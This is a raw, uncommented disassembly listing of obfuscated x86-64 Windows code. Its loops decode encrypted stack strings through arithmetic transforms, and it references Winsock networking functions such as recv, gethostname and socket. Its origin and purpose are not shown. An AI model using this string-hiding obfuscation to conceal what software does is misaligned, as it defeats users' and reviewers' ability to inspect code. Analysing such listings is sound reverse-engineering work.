movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x19
jmp 0x1400824e0
lea ecx, [r9 - 0x15]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6d
jmp 0x140082410
lea ecx, [r9 + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x38
jmp 0x140082bf6
lea edx, [r9 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140082c87
lea ecx, [r9 + 0x26]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xa
jmp 0x140082c8a
lea ecx, [r9 + 0x2c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x34
jmp 0x140082cbc
lea ecx, [r9 + 0x32]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5e
jmp 0x140082ce9
lea edx, [r9 + 0x38]
movzx eax, dl
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r9 + 0x380]
add rax, r8
add r9, rax
inc r9
jmp 0x1400823f3
lea ecx, [r9 - 0x39]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x71
mov byte [rbp + r9 + 0x380], dil
inc r9
jmp 0x1400823f3
lea ecx, [r9 - 0x33]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x65
cmp r8, 0x64
jb 0x140082750
lea edx, [r9 - 0x32]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x44]
movzx r11d, r9b
jmp 0x140082bf6
lea ecx, [r9 - 0x2d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x3b
cmp rbx, 0x200
jae 0x140082b13
lea rax, [r8 + 0x20]
cmp rbx, rax
jbe 0x140082a53
lea ecx, [r9 + 0xa]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x46
jmp 0x140082776
lea ecx, [r9 - 0x27]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x11
lea rax, [r8 + rbx]
cmp rax, 0x10
je 0x140082b36
lea rax, [r8 + 0x40]
cmp rbx, rax
jbe 0x1400829d2
lea ecx, [r9 - 0x37]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7f
jmp 0x1400827b7
movzx r11d, r9b
lea edx, [r11 - 0x6e]
movzx eax, dl
and al, r10b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140082cbc
lea ecx, [r9 - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x28
jmp 0x140082c8a
lea ecx, [r9 - 0x62]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x52
jmp 0x140082c87
lea ecx, [r9 - 0x5c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7c
movzx r11d, r9b
jmp 0x140082c63
sub r11b, 0x56
movzx eax, r11b
and al, r10b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r10b
dec r9
inc r9
jmp 0x1400823f3
sub r11b, 0x50
movzx eax, r11b
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r10b
inc r8
dec r9
inc r9
jmp 0x1400823f3
lea edx, [r11 - 0x4a]
movzx eax, dl
and al, r10b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140082bf6
lea rax, [r8 + 0xa]
cmp rbx, rax
jae 0x140082940
lea ecx, [r9 + 0x7d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6b
jmp 0x1400827ff
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008297e
lea edx, [r9 - 0x7e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r9 + 0x380]
add rax, r8
add r9, rax
inc r9
jmp 0x1400823f3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400829a6
lea ecx, [r9 + 0x76]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3a
jmp 0x140082cb8
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400827ff
lea ecx, [r9 + 0x52]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3e
movzx r11d, r9b
jmp 0x140082bf6
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400829fe
lea ecx, [r9 - 0x3d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x55
movzx r11d, r9b
jmp 0x140082bf6
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140082a2b
lea ecx, [r9 - 0x49]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
dec dil
dec r9
inc r9
jmp 0x1400823f3
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400827b7
lea ecx, [r9 - 0x5b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x7d
jmp 0x140082c8a
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140082a8d
lea ecx, [r9 + 4]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1c
movzx eax, byte [rbp + r9 + 0x380]
add rax, r8
add r9, rax
inc r9
jmp 0x1400823f3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140082ab9
lea edx, [r9 - 8]
movzx eax, dl
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140082cb8
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140082ae5
lea edx, [r9 - 0xe]
movzx eax, dl
and al, r10b
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140082c8a
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140082776
lea ecx, [r9 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
dec r9
inc r9
jmp 0x1400823f3
lea edx, [r9 - 0x38]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x78
add dil, r10b
movzx r11d, r9b
jmp 0x140082c60
lea edx, [r9 - 0x3e]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, r10b
sub dil, 0x4e
add dil, dl
jmp 0x140082cb8
lea edx, [r9 + 0x11]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x77
add dil, dl
jmp 0x140082ce9
movzx r11d, r9b
lea edx, [r11 + 0x17]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x5f
add dil, dl
jmp 0x140082cbc
lea ecx, [r9 + 0x1d]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
add dil, 0x35
jmp 0x140082c8a
lea ecx, [r9 + 0x2f]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x49
dec r9
inc r9
jmp 0x1400823f3
movzx r11d, r9b
lea edx, [r11 + 0x3b]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x63
add dil, dl
add r11b, 0x4b
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0xd
add r11b, r10b
mov byte [rbp + r9 + 0x380], r11b
inc r8
dec r9
inc r9
jmp 0x1400823f3
lea ecx, [r9 + 0x53]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x45
dec r9
inc r9
jmp 0x1400823f3
movzx r11d, r9b
lea edx, [r11 + 0x59]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x6f
add dil, dl
add r11b, 0x45
movzx eax, r11b
and al, r10b
add al, al
movzx ecx, dil
sub cl, al
add cl, 0x1d
add cl, r11b
add cl, r10b
mov byte [rbp + r9 + 0x380], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
inc r9
jmp 0x1400823f3
lea rax, [r9 + r13]
and sil, al
add sil, sil
sub al, sil
lea edi, [r10 + rax]
add dil, 0x13
movzx r11d, r9b
add r11b, 0x3f
movzx eax, r10b
and al, r11b
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x47
add cl, r11b
movzx eax, cl
mov byte [rbp + r9 + 0x380], al
inc r8
add rax, r8
sub r9, rax
lea ecx, [r9 - 0x44]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x24
add r10b, cl
mov byte [rbp + r9 + 0x380], r10b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
movzx eax, byte [rbp + r9 + 0x380]
add rax, r8
add r9, rax
inc r9
jmp 0x1400823f3
lea rax, [r9 + r12]
and sil, al
add sil, sil
sub al, sil
lea edi, [r10 + rax]
sub dil, 0x41
movzx eax, byte [rbp + r9 + 0x380]
add rax, r8
add r9, rax
inc r9
jmp 0x1400823f3
sub r11b, 0xf
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
add dil, 0x69
jmp 0x1400823f0
sub r11b, 9
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
add dil, 0x3f
jmp 0x1400823d8
lea rcx, [rbp + 0x16a337c]
jmp 0x140082db3
lea rcx, [rbp + 0x11718f9]
jmp 0x140082db3
lea rcx, [rbp + 0x380]
xor r8d, r8d
mov rdx, r14
call fcn.1400384f0
test al, al
je 0x140082e1e
lea rdi, str.nC_aE
lea r14, [0x1401fcaf0]
mov esi, dword [rdi]
mov dword [rbp + 0x34], 0
mov dword [rbp + 0x38], 0
cmp dword [0x1401fcb08], esi
sete bl
mov ecx, esi
call fcn.1400552f0
lea r9, [rbp + 0x34]
xor r8d, r8d
movzx edx, bl
mov rcx, rax
call fcn.14003e650
test al, al
je 0x140082e10
mov dword [0x1401fcb08], esi
add rdi, 4
cmp rdi, r14
jne 0x140082dd0
call fcn.14003d2f0
call fcn.14000cd80
call fcn.14000d550
call fcn.14000a5d0
movss xmm6, dword [0x14014a3ec]
cmp dword [0x1401fe800], 1
jne 0x140091221
mov dword [rbp + 0x3c], 0x42aa0000
mov dword [rbp + 0x40], 0x428c0000
lea rcx, [rbp + 0x3c]
call fcn.14001a7c0
mov dword [rbp + 0x44], 0x438d0000
mov dword [rbp + 0x48], 0x43c10000
mov byte [rbp + 0x3a0], 0x66
mov byte [rbp + 0x3a1], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x3a2], 0x45
mov byte [rbp + 0x3a3], 0x46
mov byte [rbp + 0x3a4], WSAGetLastError
mov byte [rbp + 0x3a5], 0x7d
mov byte [rbp + 0x3a6], 0x49
mov byte [rbp + 0x3a7], 0xc7
xor eax, eax
mov qword [rbp + 0x3a8], rax
mov byte [rbp + 0x3b0], al
movabs r13, 0xb58bcbef627a3e6
movzx edi, byte [rsp + 0x50]
movabs r14, 0x12e93a939a42112a
movabs r15, 0x3c83eea520d36a2
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
xor esi, esi
cmp rsi, 0x11
jae 0x14008348c
movzx r9d, byte [rbp + rsi + 0x3a0]
mov edx, r9d
nop dword [rax]
cmp rbx, rsi
ja 0x140083480
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140082f33
lea rcx, [rsi + r15]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0x6e
jmp 0x140082f46
je 0x140083418
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400833d4
movzx r10d, sil
nop word [rax + rax]
movzx r11d, r10b
movzx edx, r10b
cmp r8, rsi
ja 0x140083474
lea r14, [r8 + 1]
cmp rbx, r14
jae 0x140082f8d
lea ecx, [r10 + 0x4a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 6
lea r15, [r8 + 2]
jmp 0x140082fa0
je 0x140083393
lea r15, [r8 + 2]
cmp rbx, r15
je 0x14008336d
lea r12, [r8 + rbx]
cmp r12, rsi
jbe 0x140083060
nop dword [rax]
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x140083043
mov rbx, rax
lea r8, [rax + 0x10]
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x140083457
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x140083007
mov rbx, rax
lea r8, [rax + 0x400]
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x140083026
mov rbx, rax
lea r8, [rax + 0x400]
jmp 0x140082fb0
lea edx, [r10 - 0x4e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140082f50
add r10b, 0x30
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x50
jmp 0x14008342d
sub r10b, 0x64
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x44
jmp 0x1400833ad
cmp rbx, r14
jae 0x140083103
sub r10b, 0x5e
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x6e
cmp r12, 1
je 0x140083327
cmp rbx, r14
jbe 0x14008314d
lea ecx, [rdx - 0x66]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x36
lea rcx, [r8 + 5]
cmp rbx, 0x10
jae 0x1400832d3
lea rax, [r8 + 0x10]
cmp rbx, rax
jbe 0x140083213
sub dl, 0x1c
movzx eax, dl
and al, r9b
add al, al
sub dl, al
lea edi, [r9 + rdx]
sub dil, 0x3c
cmp r8, 0x10
jb 0x1400832c6
lea ecx, [r11 - 0x74]
movzx eax, cl
and al, r9b
mov edx, socket
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea edi, [rdx + rdx]
jmp 0x1400833ad
jne 0x140083126
sub r10b, 0x6c
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0xc
jmp 0x14008342d
cmp rbx, r15
jne 0x140083081
sub dl, 0x28
movzx eax, dl
and al, r9b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400833e9
jne 0x14008316d
sub dl, 0x22
movzx eax, dl
and al, r9b
add al, al
sub dl, al
lea edi, [r9 + rdx]
sub dil, 0x12
jmp 0x1400833ad
cmp rbx, r15
jne 0x14008319a
add dl, 0x22
movzx eax, dl
and al, r9b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec rsi
jmp 0x14008343b
lea rcx, [r8 + 5]
cmp rbx, rcx
jne 0x1400831c1
add dl, 0x32
movzx eax, dl
and al, r9b
add al, al
sub dl, al
lea edi, [r9 + rdx]
sub dil, 0x5e
jmp 0x140083311
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400831e8
add dl, 0x76
movzx eax, dl
and al, r9b
add al, al
sub dl, al
lea edi, [r9 + rdx]
sub dil, 0x3a
jmp 0x14008333e
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x1400830ad
sub dl, 2
movzx eax, dl
and al, r9b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008342d
cmp rbx, r14
jne 0x140083236
add dl, 0x28
movzx eax, dl
and al, r9b
add al, al
sub dl, al
lea edi, [r9 + rdx]
sub dil, 0x18
jmp 0x14008342d
cmp rbx, r15
jne 0x14008325d
sub dl, 0x50
movzx eax, dl
and al, r9b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008333e
cmp rbx, rcx
jne 0x14008327e
lea ecx, [r11 + 0x7c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x64
jmp 0x1400832ec
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400832ab
sub r11b, 0x40
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
lea edi, [r9 + r11]
sub dil, 0x40
dec rsi
jmp 0x14008343b
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x1400830d9
lea edx, [r11 + 0x48]
mov ecx, 4
jmp 0x14008339c
mov byte [rbp + rsi + 0x3a0], dil
jmp 0x14008343b
lea edx, [r11 - 0x30]
movzx eax, r9b
and al, dl
movzx ecx, r9b
sub cl, al
add cl, 0x28
lea edi, [rcx + rcx]
add dil, dl
add r11b, 0x72
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x1e
add r11b, r9b
add r11b, dil
mov byte [rbp + rsi + 0x3a0], r11b
mov rbx, r12
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rsi, rcx
jmp 0x14008343b
lea edx, [r11 + 0x14]
movzx eax, dl
and al, r9b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
sub r11b, 0x4a
movzx eax, r11b
and al, r9b
mov ecx, 3
sub cl, al
add cl, cl
add cl, r11b
add cl, r9b
movzx eax, cl
mov byte [rbp + rsi + 0x3a0], al
mov r8, r14
add rax, r14
sub rsi, rax
jmp 0x1400833e9
sub r11b, 0x2e
movzx eax, r11b
and al, r9b
mov ecx, 0x21
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r9b
inc r8
dec rsi
jmp 0x14008343b
lea edx, [r11 - 0x72]
mov ecx, reloc.WS2_32.dll_ntohs
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add r11b, 0x2e
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x42
add r11b, r9b
mov byte [rbp + rsi + 0x3a0], r11b
inc r8
dec rsi
jmp 0x14008343b
lea rcx, [rsi + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x26
lea ecx, [rsi + 0x58]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x68
add cl, r9b
mov byte [rbp + rsi + 0x3a0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add rsi, rax
jmp 0x14008342d
lea rcx, [rsi + r13]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4a
movzx eax, byte [rbp + rsi + 0x3a0]
add rax, r8
add rsi, rax
inc rsi
movabs r14, 0x12e93a939a42112a
movabs r15, 0x3c83eea520d36a2
jmp 0x140082ee3
sub r11b, 0x1a
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
lea edi, [r9 + r11]
sub dil, 0x4a
jmp 0x140082ebd
lea rcx, [rbp + 0x160b878]
jmp 0x140083493
lea rcx, [rbp + 0x16def1a]
jmp 0x140083493
lea rcx, [rbp + 0x3a0]
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x44]
call fcn.140009e00
mov byte [rbp + 0x3c0], 5
mov byte [rbp + 0x3c1], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x3c2], 0x63
mov byte [rbp + 0x3c3], 0x61
mov byte [rbp + 0x3c4], 0x68
mov byte [rbp + 0x3c5], 0x60
mov byte [rbp + 0x3c6], 0x26
mov byte [rbp + 0x3c7], 5
mov byte [rbp + 0x3c8], 0x67
mov byte [rbp + 0x3c9], WSACleanup
mov byte [rbp + 0x3ca], 0xca
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x3cb], xmm0
mov byte [rbp + 0x3db], al
movabs r14, 0xe6b5b58909588ba0
movabs r12, 0x818c8bad2ebaba20
movabs r15, 0xb421209b1c09a2e0
movzx edi, byte [rsp + 0x50]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
nop dword [rax]
nop dword [rax + rax]
xor r9d, r9d
cmp r9, 0x1c
jae 0x140083e99
movzx r10d, byte [rbp + r9 + 0x3c0]
mov esi, r10d
nop dword [rax]
cmp rbx, r9
ja 0x140083e8d
lea r11, [r8 + 1]
cmp rbx, r11
jae 0x14008359b
lea rcx, [r9 + r14]
mov rax, rcx
and rax, rsi
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rsi
sub dil, 0x60
lea rdx, [r8 + 2]
lea rcx, [r8 + 5]
jmp 0x1400835d5
je 0x140083e18
lea rdx, [r8 + 2]
cmp rbx, rdx
je 0x140083dba
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140083d88
lea rcx, [r8 + 5]
cmp rbx, rcx
je 0x140083d63
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140083d19
cmp r8, r9
ja 0x140083e81
lea rax, [r8 + 0x40]
cmp rbx, rax
jae 0x14008360a
lea edx, [r9 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14008363f
cmp rbx, r11
je 0x140083cf6
cmp rbx, rdx
je 0x140083a9f
cmp rbx, rcx
je 0x140083cd7
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140083c8b
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140083b0f
movzx r11d, r9b
lea rax, [r8 + rbx]
cmp rax, r9
jbe 0x14008397b
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140083960
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140083942
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14008391c
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x140083904
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x1400838e1
lea rbx, [r8 + 1]
lea r8, [rbx + 0x64]
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x140083e64
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x140083e44
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x14008376f
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x140083750
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x140083829
movzx r11d, r9b
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x140083650
lea rbx, [r8 + 2]
lea r8, [rbx + 0x80]
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x1400837ff
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x1400837e0
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x1400837c2
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x1400837aa
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14008378e
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x140083650
lea rbx, [r8 + 3]
lea r8, [rbx + 0x200]
jmp 0x140083650
movzx r11d, r9b
lea ecx, [r11 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
jmp 0x140083643
lea edx, [r9 + 0x60]
movzx eax, dl
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140083560
lea edx, [r9 + 0x40]
movzx eax, dl
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140083c42
movzx ecx, r9b
and cl, r10b
add cl, cl
movzx edi, r9b
sub dil, cl
add dil, r10b
jmp 0x140083d9e
lea ecx, [r9 + 0x80]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x80
jmp 0x140083ca5
lea edx, [r9 + 0x40]
movzx eax, dl
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140083dd2
movzx ecx, r9b
and cl, r10b
add cl, cl
movzx edi, r9b
sub dil, cl
add dil, r10b
movzx eax, byte [rbp + r9 + 0x3c0]
add rax, r8
add r9, rax
inc r9
jmp 0x140083543
lea edx, [r9 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
lea rax, [r8 + rbx]
cmp rax, 0x41
je 0x140083c6b
lea r11, [r8 + 1]
lea rax, [r8 + 0x28]
cmp rbx, rax
jbe 0x140083a66
lea edx, [r9 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
lea rcx, [r8 + 2]
lea rdx, [r8 + 5]
cmp rbx, 0x5a
jae 0x140083c2f
lea rax, [r8 + 4]
cmp rbx, rax
jbe 0x140083b40
lea edx, [r9 + 0x40]
movzx eax, dl
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp r8, 0x2a
jb 0x140083c1f
lea ecx, [r9 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 0x80]
movzx r11d, r9b
jmp 0x140083d33
movzx r11d, r9b
lea edx, [r11 + 0x40]
movzx eax, dl
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140083ca5
movzx ecx, r9b
and cl, r10b
add cl, cl
movzx edi, r9b
sub dil, cl
add dil, r10b
jmp 0x140083da1
add r11b, 0x40
movzx eax, r11b
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r10b
dec r9
inc r9
jmp 0x140083543
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
inc r8
dec r9
inc r9
jmp 0x140083543
lea ecx, [r11 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x40
jmp 0x140083d33
lea rax, [r8 + 0x2a]
cmp rbx, rax
jae 0x1400839a3
lea ecx, [r9 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
jmp 0x140083843
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400839e1
lea edx, [r9 + 0x40]
movzx eax, dl
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r9 + 0x3c0]
add rax, r8
add r9, rax
inc r9
jmp 0x140083543
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140083a0c
lea ecx, [r9 + 0x80]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x80
jmp 0x140083dd2
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140083a38
lea ecx, [r9 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x40
movzx r11d, r9b
jmp 0x140083ca5
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140083843
lea ecx, [r9 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x40
dec r9
inc r9
jmp 0x140083543
cmp rbx, r11
jne 0x140083a92
lea edx, [r9 + 0x60]
movzx eax, dl
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx r11d, r9b
jmp 0x140083d33
lea rcx, [r8 + 2]
cmp rbx, rcx
jne 0x140083ac0
lea ecx, [r9 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
dec r9
inc r9
jmp 0x140083543
lea rdx, [r8 + 5]
cmp rbx, rdx
jne 0x140083ae8
lea ecx, [r9 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
jmp 0x140083da1
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140083b02
lea ecx, [r9 - 0x20]
movzx r11d, r9b
jmp 0x140083c93
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x140083884
lea edx, [r9 + 0x60]
movzx eax, dl
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r9 + 0x3c0]
add rax, r8
add r9, rax
inc r9
jmp 0x140083543
cmp rbx, r11
jne 0x140083b79
lea ecx, [r9 + 0x80]
movzx eax, cl
